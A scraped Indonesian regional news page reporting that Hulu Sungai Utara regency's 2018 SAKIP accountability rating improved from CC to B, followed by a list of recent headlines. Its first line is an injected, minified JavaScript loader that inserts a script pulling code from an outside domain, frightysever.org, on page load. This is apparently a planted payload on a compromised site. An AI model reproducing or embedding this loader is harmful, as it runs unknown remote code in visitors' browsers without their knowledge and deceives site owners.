(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dari CC, SAKIP 2018 Pemkab HSU Berpredikat B


AMUNTAI, Pemerintah Kabupaten HSU berhasil meningkatkan nilai Laporan Hasil Evaluasi (LHE) Sistem Akuntabilitas Kinerja Instansi Pemerintah (SAKIP) dari sebelumnya predikat CC menjadi predikat B.

Penyerahan LHE SAKIP tahun 2018 diserahkan langsung Menteri PAN-RB Drs Syafruddin kepada Bupati HSU H Abdul Wahid HK, di Banjarmasin, Rabu (6/2).

Saat penyerahan hasil evaluasi SAKIP, Menteri PAN-RB Syafruddin didampingi Deputi RB Kunwas M Yusuf Ateh, Gubernur Kalsel H Sahbirin Noor, Sekdaprov Jawa Timur Heru Tjahjono, dan Sekjen Kemendagri Hadi Prabowo.

Dalam penyerahan laporan hasil evaluasi SAKIP, sebanyak 151 pemda di wilayah II terdapat 7 pemerintah daerah yang meraih predikat A, 21 dengan predikat BB, 70 berpredikat B, 49 dengan predikat CC, dan 19 pemerintah daerah masih C.

Bupati HSU H Abdul Wahid HK usai menerima hasil evaluasi SAKIP mengungkapkan, rasa syukurnya atas prestasi yang telah diraih yaitu predikat B dan berharap agar tahun depan dapat ditingkatkan.

Kepada seluruh SKPD dan ASN, Bupati Wahid juga meminta agar dapat meningkatkan prestasi dan mulai berbenah. Ia berharap semula kinerja yang dianggap suatu kewajiban agar bisa diubah menjadi kebutuhan, karena kebutuhan adalah suatu keharusan yang tidak bisa ditunda-tunda.

Selain itu, Wahid juga minta dukungan masyarakat sebagai kontrol dan pengawasan terhadap kinerja ASN dan Pemkab HSU, karena hal ini sangat dibutuhkan dan merupakan kerja bersama mewujudkan HSU Mantap.

Sementara itu, Menteri PAN-RB Syafruddin mengapresiasi upaya dan perjuangan para Gubernur, Bupati dan Walikota dalam menerapkan SAKIP di instansi pemerintah masing-masing.  “Mengubah mindset seluruh pegawai tidaklah mudah.  Harus punya komitmen tinggi mewujudkan akuntabilitas kinerja yang baik,” ujarnya.

Syafruddin menekankan, kinerja aparat pemerintahan harus semakin inovatif dan kreatif dalam menjalankan roda pemerintahan,sehingga akan cepat dan akurat menyentuh harapan masyarakat. Dengan penerapan SAKIP, terbukti mampu mencegah potensi pemborosan anggaran.

“SAKIP bukan hanya pemberian nilai, namun juga menggambarkan kemampuan instansi pemerintah dalam melakukan pengelolaan penggunaan anggaran dan dapat dipertanggungjawabkan demi memberikan pelayanan dan kemanfaatan bagi masyarakat,” pungkasnya. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

8 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

10 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

11 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

11 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

15 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

15 jam ago

This website uses cookies.